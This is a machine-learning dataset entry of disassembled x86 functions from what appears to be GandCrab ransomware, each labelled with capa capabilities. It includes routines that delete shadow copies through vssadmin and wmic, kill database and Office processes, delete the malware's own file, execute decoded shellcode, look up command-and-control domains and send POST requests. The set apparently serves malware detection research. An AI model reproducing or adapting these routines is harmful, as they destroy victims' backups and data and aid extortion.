joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003ff0
Capabilities:
Check for time delay via gettickcount
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c4
push ebx
push esi
push edi
push 4
push 0x3000
push 0x18
mov ebx, ecx
push 0
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, 0x43
mov dword [eax + 4], ebx
xor ebx, ebx
mov word [eax], cx
mov eax, dword [0x1000f34c]
mov dword [esp + 0x38], eax
mov eax, dword [0x1000f350]
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0xc], eax
lea esi, [esp + 0x150]
mov edi, 0x41
jmp 0x10004050
lea eax, [esp + 0x38]
mov word [esp + 0x38], di
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
jb 0x100040a7
cmp eax, 5
je 0x100040a7
mov eax, dword [esp + 0x10]
push 0
push 0
mov dword [esi - 4], eax
lea eax, [esi - 8]
push eax
push 0x10006f40
push 0
push 0
mov word [eax], di
mov dword [esi], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + ebx*4 + 0x48], eax
inc ebx
add esi, 0x18
inc edi
cmp di, 0x5a
jbe 0x10004050
push 0xffffffffffffffff
push 1
lea eax, [esp + 0x50]
mov dword [esp + 0x24], ebx
xorps xmm0, xmm0
mov dword [esp + 0x20], 0
push eax
push ebx
mov dword [esp + 0x24], 0
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x30], xmm0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0xc]
xorps xmm0, xmm0
mov edi, dword [esp + 0x2c]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x30], eax
xor eax, eax
mov dword [esp + 0x10], 0
movlpd qword [esp + 0x40], xmm0
cmp ebx, 2
jb 0x1000416c
lea ecx, [ebx - 2]
mov ebx, dword [esp + 0x28]
shr ecx, 1
lea eax, [esp + 0x170]
inc ecx
mov dword [esp + 0xc], ecx
lea edx, [ecx + ecx]
mov dword [esp + 0x34], edx
mov edx, dword [esp + 0x24]
nop
mov ecx, dword [esp + 0x18]
add ecx, dword [eax - 0x20]
add ebx, dword [eax - 0x18]
mov dword [esp + 0x18], ecx
adc edi, dword [eax - 0x14]
mov ecx, dword [esp + 0x14]
add ecx, dword [eax - 8]
add esi, dword [eax]
mov dword [esp + 0x14], ecx
adc edx, dword [eax + 4]
lea eax, [eax + 0x30]
dec dword [esp + 0xc]
jne 0x10004130
mov eax, dword [esp + 0x34]
mov dword [esp + 0xc], ebx
mov ebx, dword [esp + 0x1c]
mov ecx, dword [esp + 0xc]
jmp 0x10004174
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
cmp eax, ebx
jae 0x10004196
lea eax, [eax + eax*2]
mov ebx, dword [esp + eax*8 + 0x150]
mov dword [esp + 0x10], ebx
mov ebx, dword [esp + eax*8 + 0x158]
mov eax, dword [esp + eax*8 + 0x15c]
jmp 0x1000419e
mov eax, dword [esp + 0x44]
mov ebx, dword [esp + 0x40]
add esi, ecx
mov ecx, dword [esp + 0x14]
adc edx, edi
add esi, ebx
adc edx, eax
add ecx, dword [esp + 0x18]
add ecx, dword [esp + 0x10]
push edx
mov edx, dword [esp + 0x34]
push esi
call fcn.10005670
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004200
Capabilities:
Encode data using xor

Disassembly:
cmp dword [0x10012a60], 0
jne 0x100042a7
push edi
push 4
push 0x3000
push 0x206
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x100042a0
xor ecx, ecx
lea eax, [edi + 0x203]
cmp edi, 0x1000faa3
ja 0x1000423f
cmp eax, 0x1000f8a0
jae 0x10004278
movdqa xmm1, xmmword [0x10010510]
mov eax, edi
sub eax, 0x1000f8a0
mov edi, edi
movdqu xmm0, xmmword [ecx + 0x1000f8a0]
pxor xmm0, xmm1
movdqu xmmword [eax + ecx + 0x1000f8a0], xmm0
add ecx, 0x10
cmp ecx, 0x200
jb 0x10004250
cmp ecx, 0x204
jae 0x100042a0
push ebx
push esi
mov ebx, 0x1000f8a0
lea edx, [ecx + edi]
mov esi, 0x204
sub ebx, edi
sub esi, ecx
jmp 0x10004290
mov al, byte [ebx + edx]
lea edx, [edx + 1]
xor al, 5
mov byte [edx - 1], al
dec esi
jne 0x10004290
pop esi
pop ebx
mov dword [0x10012a60], edi
pop edi
ret
Function at 0x100045b0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xac
push ebx
push esi
push edi
call fcn.10003cf0
test eax, eax
je 0x10004660
xor ecx, ecx
mov dword [esp + 0x24], 0x77005c
mov dword [esp + 0x28], 0x650062
lea ebx, [esp + 0x24]
mov dword [esp + 0x2c], 0x5c006d
lea eax, [esp + 0x44]
mov dword [esp + 0x30], 0x6d0077
mov dword [esp + 0x34], 0x630069
mov dword [esp + 0x38], 0x65002e
mov dword [esp + 0x3c], 0x650078
mov word [esp + 0x40], cx
mov dword [esp + 0x44], 0x680073
mov dword [esp + 0x48], 0x640061
mov dword [esp + 0x4c], 0x77006f
mov dword [esp + 0x50], 0x6f0063
mov dword [esp + 0x54], 0x790070
mov dword [esp + 0x58], 0x640020
mov dword [esp + 0x5c], 0x6c0065
mov dword [esp + 0x60], 0x740065
mov dword [esp + 0x64], 0x65
jmp 0x10004758
xor edi, edi
mov dword [esp + 0x10], 0x63005c
xor eax, eax
mov dword [esp + 0x14], 0x64006d
mov word [esp + 0xb4], ax
lea ebx, [esp + 0x10]
mov dword [esp + 0x18], 0x65002e
lea eax, [esp + 0x68]
mov dword [esp + 0x1c], 0x650078
mov word [esp + 0x20], di
mov dword [esp + 0x68], 0x63002f
mov dword [esp + 0x6c], 0x760020
mov dword [esp + 0x70], 0x730073
mov dword [esp + 0x74], 0x640061
mov dword [esp + 0x78], 0x69006d
mov dword [esp + 0x7c], 0x20006e
mov dword [esp + 0x80], 0x650064
mov dword [esp + 0x84], 0x65006c
mov dword [esp + 0x88], 0x650074
mov dword [esp + 0x8c], 0x730020
mov dword [esp + 0x90], 0x610068
mov dword [esp + 0x94], 0x6f0064
mov dword [esp + 0x98], 0x730077
mov dword [esp + 0x9c], 0x2f0020
mov dword [esp + 0xa0], 0x6c0061
mov dword [esp + 0xa4], 0x20006c
mov dword [esp + 0xa8], 0x71002f
mov dword [esp + 0xac], 0x690075
mov dword [esp + 0xb0], 0x740065
push 0x40
push 0x3000
push 0x400
push 0
mov dword [esp + 0x1c], eax
mov edi, 0x20
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000477f
xor edi, edi
jmp 0x100047af
push 0x100
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
push dword [esp + 0x14]
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp edi, eax
sbb edi, edi
neg edi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100047d0
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
push ebx
push esi
push edi
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [esp + 0x68]
call fcn.10003bc0
lea ecx, [esp + 0x10]
call fcn.10007490
lea ecx, [esp + 0x10]
call fcn.100072a0
mov esi, eax
push 0x40
push 0x3000
lea ebx, [esi*2 + 0x42]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x10004847
lea ecx, [esi*2 + 0x40]
cmp ecx, ebx
jae 0x10004847
mov esi, edi
jmp 0x10004849
xor esi, esi
push str.Global_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [esp + 0x10]
lea eax, [esi + eax*2]
push eax
call fcn.100070a0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 5
je 0x1000488e
call esi
cmp eax, 0xb7
je 0x1000488e
xor esi, esi
jmp 0x10004893
mov esi, 1
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [esp + 0x10]
call fcn.10007d70
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100048c0
Capabilities:
Enumerate processes
Resolve function by parsing pe exports
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa4
push ebx
push esi
push edi
push 0
push 2
mov dword [esp + 0x18], str.msftesql.exe
mov dword [esp + 0x1c], str.sqlagent.exe
mov dword [esp + 0x20], str.sqlbrowser.exe
mov dword [esp + 0x24], str.sqlservr.exe
mov dword [esp + 0x28], str.sqlwriter.exe
mov dword [esp + 0x2c], str.oracle.exe
mov dword [esp + 0x30], str.ocssd.exe
mov dword [esp + 0x34], str.dbsnmp.exe
mov dword [esp + 0x38], str.synctime.exe
mov dword [esp + 0x3c], str.mydesktopqos.exe
mov dword [esp + 0x40], str.agntsvc.exeisqlplussvc.exe
mov dword [esp + 0x44], str.xfssvccon.exe
mov dword [esp + 0x48], str.mydesktopservice.exe
mov dword [esp + 0x4c], str.ocautoupds.exe
mov dword [esp + 0x50], str.agntsvc.exeagntsvc.exe
mov dword [esp + 0x54], str.agntsvc.exeencsvc.exe
mov dword [esp + 0x58], str.firefoxconfig.exe
mov dword [esp + 0x5c], str.tbirdconfig.exe
mov dword [esp + 0x60], str.ocomm.exe
mov dword [esp + 0x64], str.mysqld.exe
mov dword [esp + 0x68], str.mysqld_nt.exe
mov dword [esp + 0x6c], str.mysqld_opt.exe
mov dword [esp + 0x70], str.dbeng50.exe
mov dword [esp + 0x74], str.sqbcoreservice.exe
mov dword [esp + 0x78], str.excel.exe
mov dword [esp + 0x7c], str.infopath.exe
mov dword [esp + 0x80], str.msaccess.exe
mov dword [esp + 0x84], str.mspub.exe
mov dword [esp + 0x88], str.onenote.exe
mov dword [esp + 0x8c], str.outlook.exe
mov dword [esp + 0x90], str.powerpnt.exe
mov dword [esp + 0x94], str.steam.exe
mov dword [esp + 0x98], str.sqlservr.exe
mov dword [esp + 0x9c], str.thebat.exe
mov dword [esp + 0xa0], str.thebat64.exe
mov dword [esp + 0xa4], str.thunderbird.exe
mov dword [esp + 0xa8], str.visio.exe
mov dword [esp + 0xac], str.winword.exe
mov dword [esp + 0xb0], str.wordpad.exe
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 4
push 0x3000
push 0x22c
mov esi, eax
push 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x10004a6b
mov dword [ebx], 0x22c
cmp esi, 0xffffffff
je 0x10004a6b
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebx + 0x24]
xor esi, esi
jmp 0x10004a80
push ecx
push dword [esp + esi*4 + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x10004abb
push dword [ebx + 8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x10004ab5
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0x10004abb
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
lea ecx, [ebx + 0x24]
cmp esi, 0x27
jb 0x10004a80
mov esi, dword [esp + 0xc]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
lea ecx, [ebx + 0x24]
test eax, eax
jne 0x10004a74
test ebx, ebx
je 0x10004ae9
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004e10
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push 0x44
lea eax, [ebp - 0x58]
xorps xmm0, xmm0
push 0
push eax
mov esi, ecx
movdqu xmmword [ebp - 0x10], xmm0
call fcn.10009170
mov eax, dword [0x10012a6c]
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [0x10012a68]
or dword [ebp - 0x2c], 0x101
mov dword [ebp - 0x20], eax
xor eax, eax
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], 0x44
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x10004e84
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10004fb0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.10008af0
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
push edi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x100c]
push eax
push dword [0x10012a70]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov cl, byte [ebp - 0x100c]
lea edi, [ebp - 0x100c]
mov ebx, eax
test cl, cl
je 0x10005035
mov esi, edi
sub esi, str.Cant_find_server
mov edi, edi
mov eax, str.Cant_find_server
test cl, cl
je 0x1000502c
lea esp, [esp]
mov cl, byte [eax]
test cl, cl
je 0x10004fc6
movsx edx, byte [esi + eax]
movsx ecx, cl
sub edx, ecx
jne 0x10005027
inc eax
cmp byte [esi + eax], dl
jne 0x10005010
cmp byte [eax], 0
je 0x10004fc6
mov cl, byte [edi + 1]
inc edi
inc esi
test cl, cl
jne 0x10005000
pop edi
pop esi
test ebx, ebx
pop ebx
je 0x10005056
cmp dword [ebp - 0xc], 0
je 0x10005056
push dword [ebp - 4]
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x100c]
call fcn.10004ea0
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x10005060
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x44], 0x73006e
cmp dword [ebp + 8], 1
mov ebx, edx
push edi
mov word [ebp - 0x10], ax
mov edi, ecx
mov word [ebp - 0x48], ax
lea ecx, [ebp - 0x7c]
lea eax, [ebp - 0x44]
mov dword [ebp - 0x40], 0x6f006c
cmovne eax, ecx
mov dword [ebp - 0x3c], 0x6b006f
push 0
mov dword [ebp + 8], eax
lea eax, [ebp - 0xc]
push eax
push 0x10012a6c
push 0x10012a70
mov dword [ebp - 0x38], 0x700075
mov dword [ebp - 0x34], 0x250020
mov dword [ebp - 0x30], 0x200053
mov dword [ebp - 0x2c], 0x73006e
mov dword [ebp - 0x28], 0x2e0031
mov dword [ebp - 0x24], 0x690076
mov dword [ebp - 0x20], 0x6d0072
mov dword [ebp - 0x1c], 0x630061
mov dword [ebp - 0x18], 0x2e0068
mov dword [ebp - 0x14], 0x750072
mov dword [ebp - 0x7c], 0x73006e
mov dword [ebp - 0x78], 0x6f006c
mov dword [ebp - 0x74], 0x6b006f
mov dword [ebp - 0x70], 0x700075
mov dword [ebp - 0x6c], 0x250020
mov dword [ebp - 0x68], 0x200053
mov dword [ebp - 0x64], 0x73006e
mov dword [ebp - 0x60], 0x2e0032
mov dword [ebp - 0x5c], 0x690076
mov dword [ebp - 0x58], 0x6d0072
mov dword [ebp - 0x54], 0x630061
mov dword [ebp - 0x50], 0x2e0068
mov dword [ebp - 0x4c], 0x750072
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], 1
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10005179
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 1
push dword [0x10012a70]
call esi
test eax, eax
je 0x1000516f
push 0
lea eax, [ebp - 0xc]
push eax
push 0x10012a74
push 0x10012a68
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
push 1
push dword [0x10012a74]
call esi
test eax, eax
je 0x1000516f
push 4
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10005204
push ebx
push dword [ebp + 8]
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, esi
call fcn.10004e10
mov edx, ebx
mov ecx, edi
call fcn.10004fb0
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.fabian_wosar__3
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
movdqa xmm0, xmmword [0x10010540]
lea eax, [ebp - 0x34]
push ebx
push esi
push edi
push 4
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x4c]
push 0x3000
movdqu xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x14]
movdqa xmm0, xmmword [str.malwarehunterteaGandCrabGandCrabpolitiaromana.bi]
push 0x100
push 0
mov word [ebp - 0x24], 0x74
movdqu xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0x69622e6d
mov word [ebp - 0x38], 0x74
mov dword [ebp - 0x14], 0x62636467
mov dword [ebp - 0x10], 0x7469622e
mov byte [ebp - 0xc], 0
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x10005341
xor ecx, ecx
mov esi, 1
xor edi, edi
mov eax, dword [ebp + edi*4 - 0x20]
inc edi
mov dword [ebp - 8], eax
cmp edi, 3
jne 0x100052bb
dec esi
neg esi
sbb esi, esi
add esi, 2
xor edi, edi
cmp ecx, 0xffffffff
jne 0x100052cb
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push 0x3000
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 8]
mov ebx, eax
push esi
mov ecx, ebx
call fcn.10005060
add esp, 4
push str.fabian_wosar__3
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1000531e
push 0x8000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, dword [ebp - 4]
or ecx, 0xffffffff
jmp 0x100052a4
mov esi, dword [ebp - 4]
push ebx
push 0x1000f2dc
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10005350
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
push 4
push 0x3000
push 0x400
push 0
mov edi, eax
call esi
mov esi, eax
test edi, edi
je 0x100053b9
push 0x200
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test esi, esi
je 0x100053b9
push edi
push str._c_timeout__c_5__del___s___f__q
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push esi
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x100053d0
Capabilities:
Allocate or change rwx memory
Decode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0xc], edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push 0x40
push 0x3000
mov dword [ebp - 4], eax
lea esi, [eax + 1]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1000540c
cmp dword [ebp - 4], esi
jae 0x1000540c
mov esi, eax
jmp 0x1000540e
xor esi, esi
xor edi, edi
lea eax, [ebp - 4]
push edi
push edi
push eax
push esi
push 1
push edi
push ebx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x100054dc
mov edx, dword [ebp - 4]
mov ecx, esi
call fcn.10005f00
xorps xmm0, xmm0
lea ecx, [ebp - 0x20]
push esi
movdqu xmmword [ebp - 0x20], xmm0
call fcn.100033e0
cmp dword [ebp - 0x20], edi
jne 0x100054e4
mov edi, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [0x10012a60]
test edi, edi
mov esi, dword [ebp - 0x18]
cmovne eax, ecx
mov dword [ebp - 8], 1
mov dword [0x10012a60], eax
test esi, esi
je 0x10005498
push 4
push 0x3000
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
test eax, eax
je 0x10005498
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test edi, edi
je 0x100054b4
push edi
push 0
call eax
push eax
call ebx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test esi, esi
je 0x100054c0
push esi
push 0
call eax
push eax
call ebx
mov edi, dword [ebp - 8]
push 0x8000
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x100054c3
call fcn.10005350
int3
Function at 0x100054f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x10], edx
push edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 8], ebx
call fcn.10007e40
call fcn.10005220
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
lea edi, [eax*2 + 0x400]
lea eax, [edi + 1]
push eax
push 0
call esi
push 0x40
push 0x3000
push 0x32001
push 0
mov ebx, eax
call esi
mov dword [ebp - 4], eax
test ebx, ebx
je 0x10005558
lea eax, [edi + 1]
cmp edi, eax
jae 0x10005558
mov esi, ebx
jmp 0x1000555a
xor esi, esi
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
movdqu xmm0, xmmword [str.Content_Type:_application_x_www_form_urlencoded]
push esi
movdqu xmmword [ebp - 0x78], xmm0
movdqu xmm0, xmmword [0x1000fb50]
movdqu xmmword [ebp - 0x68], xmm0
movdqu xmm0, xmmword [0x1000fb60]
movdqu xmmword [ebp - 0x58], xmm0
movdqu xmm0, xmmword [0x1000fb70]
movdqu xmmword [ebp - 0x48], xmm0
movdqu xmm0, xmmword [0x1000fb80]
movdqu xmmword [ebp - 0x38], xmm0
movdqu xmm0, xmmword [0x1000fb90]
movdqu xmmword [ebp - 0x28], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x78]
xor edi, edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x78]
push eax
push str.POST
sub esp, 8
push 0x31fff
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
mov esi, dword [ebp - 0xc]
lea ecx, [ebp - 0x18]
push str.popkadurak
push esi
call fcn.10008050
test eax, eax
je 0x10005629
cmp dword [ebp + 0xc], 0
mov edi, 1
je 0x10005629
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
mov dword [ebp - 8], 0
call fcn.100053d0
test eax, eax
je 0x10005627
mov eax, dword [ebp - 8]
test eax, eax
je 0x10005629
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
jmp 0x10005629
xor edi, edi
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call esi
push 0x8000
push 0
push dword [ebp - 4]
call esi
push 0x8000
push 0
push ebx
call esi
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x1000565d
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret